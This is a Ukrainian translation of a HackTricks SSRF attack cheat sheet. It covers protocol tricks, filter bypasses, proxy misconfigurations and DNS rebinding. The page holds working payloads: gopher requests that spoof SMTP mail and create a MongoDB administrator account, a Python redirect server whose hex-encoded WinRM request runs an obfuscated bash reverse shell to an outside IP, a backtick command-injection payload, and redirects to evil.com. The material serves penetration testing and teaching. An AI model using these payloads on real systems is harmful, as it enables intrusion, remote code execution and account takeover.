SSRF (Server Side Request Forgery)

Reading time: 23 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Вразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює сервісом на стороні сервера, змушуючи його робити HTTP запити до домену на свій вибір. Ця вразливість відкриває сервер для довільних зовнішніх запитів, спрямованих зловмисником.

Захоплення SSRF

Перше, що вам потрібно зробити, це захопити взаємодію SSRF, згенеровану вами. Для захоплення HTTP або DNS взаємодії ви можете використовувати такі інструменти:

Обхід доменів у білому списку

Зазвичай ви виявите, що SSRF працює лише в певних доменах у білому списку або URL. На наступній сторінці ви знайдете збірку технік для спроби обійти цей білый список:

URL Format Bypass

Обхід через відкритий редирект

Якщо сервер правильно захищений, ви можете обійти всі обмеження, експлуатуючи відкритий редирект на веб-сторінці. Оскільки веб-сторінка дозволяє SSRF до того ж домену і, ймовірно, буде слідувати редиректам, ви можете експлуатувати відкритий редирект, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу.
Детальніше читайте тут: https://portswigger.net/web-security/ssrf

Протоколи

  • file://
  • URL-схема file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd
  • dict://
  • URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє конструкцію URL, націлену на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT з наданими зловмисником обліковими даними: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: url=sftp://generic.com:11111/
  • TFTP://
  • Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: '%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Описано метод експлуатації вразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальших розслідувальних дій на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF обход
  • Якщо SSRF виконується за допомогою curl, curl має функцію, звану URL globbing, яка може бути корисною для обходу WAF. Наприклад, у цьому описі ви можете знайти цей приклад для перетворення шляху через протокол file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Обговорюється можливість протоколу Gopher вказувати IP, порт і байти для зв'язку з сервером, а також інструменти, такі як Gopherus і remote-method-guesser для створення payloads. Ілюструються два різні використання:

Gopher://

Використовуючи цей протокол, ви можете вказати IP, порт і байти, які ви хочете, щоб сервер надіслав. Тоді ви можете в основному експлуатувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з сервісом спочатку).
На щастя, ви можете використовувати Gopherus для створення payloads для кількох сервісів. Крім того, remote-method-guesser може бути використаний для створення gopher payloads для Java RMI сервісів.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Повернене з'єднання до 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та з правами=адміністратор

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF через заголовок Referrer та інші

Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "Collaborator Everywhere", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.

SSRF через дані SNI з сертифіката

Неправильна конфігурація, яка може дозволити з'єднання з будь-яким бекендом через просту настройку, ілюструється прикладом конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового з'єднання з довільним бекендом, таким як internal.host.com, за допомогою команди openssl наведено нижче:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF з Command Injection

Можливо, варто спробувати payload, наприклад: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Рендеринг PDF

Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете вставити деякий JS, який буде виконаний самим PDF-генератором (сервером) під час створення PDF, і ви зможете зловживати SSRF. Знайдіть більше інформації тут.

Від SSRF до DoS

Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій.

PHP функції SSRF

Перевірте наступну сторінку на наявність вразливих PHP та навіть Wordpress функцій:

PHP SSRF

SSRF перенаправлення на Gopher

Для деяких експлуатацій вам може знадобитися надіслати відповідь на перенаправлення (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди на python для відповіді з перенаправленням:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Неправильно налаштовані проксі для SSRF

Трюки з цього посту.

Flask

Вразливий код проксі Flask
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask дозволяє використовувати @ як початковий символ, що дозволяє зробити початкову назву хоста іменем користувача та інжектувати нове. Запит атаки:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Було виявлено, що можливо почати шлях запиту з символу ;, що дозволяє потім використовувати @ та інжектувати новий хост для доступу. Запит атаки:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP вбудований веб-сервер

Вразливий PHP код
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP дозволяє використовувати символ * перед слешем у шляху URL, однак має інші обмеження, такі як те, що його можна використовувати лише для кореневого шляху / і що крапки . не дозволені перед першим слешем, тому потрібно використовувати IP-адресу, закодовану в шістнадцятковому форматі без крапок, наприклад:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP обход

Якщо у вас є проблеми з екстракцією контенту з локальної IP-адреси через CORS/SOP, DNS Rebidding може бути використано для обходу цього обмеження:

CORS - Misconfigurations & Bypass

Автоматизований DNS Rebidding

Singularity of Origin - це інструмент для виконання DNS rebinding атак. Він включає необхідні компоненти для повторного зв'язування IP-адреси DNS-імені сервера атаки з IP-адресою цільової машини та для подачі атакуючих навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.

Перегляньте також публічно працюючий сервер у http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Вимоги:

  • SSRF
  • Вихідні TLS сесії
  • Речі на локальних портах

Атака:

  1. Попросіть користувача/бота доступитися до домена, контрольованого зловмисником
  2. TTL DNS становить 0 сек (тому жертва незабаром перевірить IP домена знову)
  3. Створюється TLS з'єднання між жертвою та доменом зловмисника. Зловмисник вводить навантеження всередину Session ID або Session Ticket.
  4. Домен почне безкінечний цикл перенаправлень проти себе. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає знову DNS запит домену.
  5. У DNS запиті тепер надається приватна IP адреса (127.0.0.1, наприклад)
  6. Користувач/бот спробує відновити TLS з'єднання і для цього він надішле Session ID/Ticket ID (де містилося навантеження зловмисника). Тож вітаємо, ви змогли змусити користувача/бота атакувати себе.

Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (memcache), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 (порт завжди має бути однаковим).
Щоб виконати цю атаку, ви можете використовувати інструмент: https://github.com/jmdx/TLS-poison/
Для додаткової інформації ознайомтеся з доповіддю, де пояснюється ця атака: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Сліпа SSRF

Різниця між сліпою SSRF і не сліпою полягає в тому, що в сліпій ви не можете бачити відповідь на запит SSRF. Тоді експлуатувати її складніше, оскільки ви зможете експлуатувати лише добре відомі вразливості.

Часова SSRF

Перевіряючи час відповідей від сервера, можливо, можна дізнатися, чи існує ресурс чи ні (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого)

Експлуатація Cloud SSRF

Якщо ви знайдете вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані:

Cloud SSRF

Платформи вразливі до SSRF

Кілька відомих платформ містять або містили вразливості SSRF, перевірте їх у:

SSRF Vulnerable Platforms

Інструменти

SSRFMap

Інструмент для виявлення та експлуатації вразливостей SSRF

Gopherus

Цей інструмент генерує Gopher навантаження для:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser - це сканер вразливостей Java RMI, який підтримує операції атаки для найбільш поширених вразливостей Java RMI. Більшість доступних операцій підтримують опцію --ssrf, щоб згенерувати SSRF навантаження для запитуваної операції. Разом з опцією --gopher можна безпосередньо генерувати готові до використання gopher навантаження.

SSRF Proxy

SSRF Proxy - це багатопотоковий HTTP проксі-сервер, призначений для тунелювання HTTP-трафіку клієнта через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF).

Для практики

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks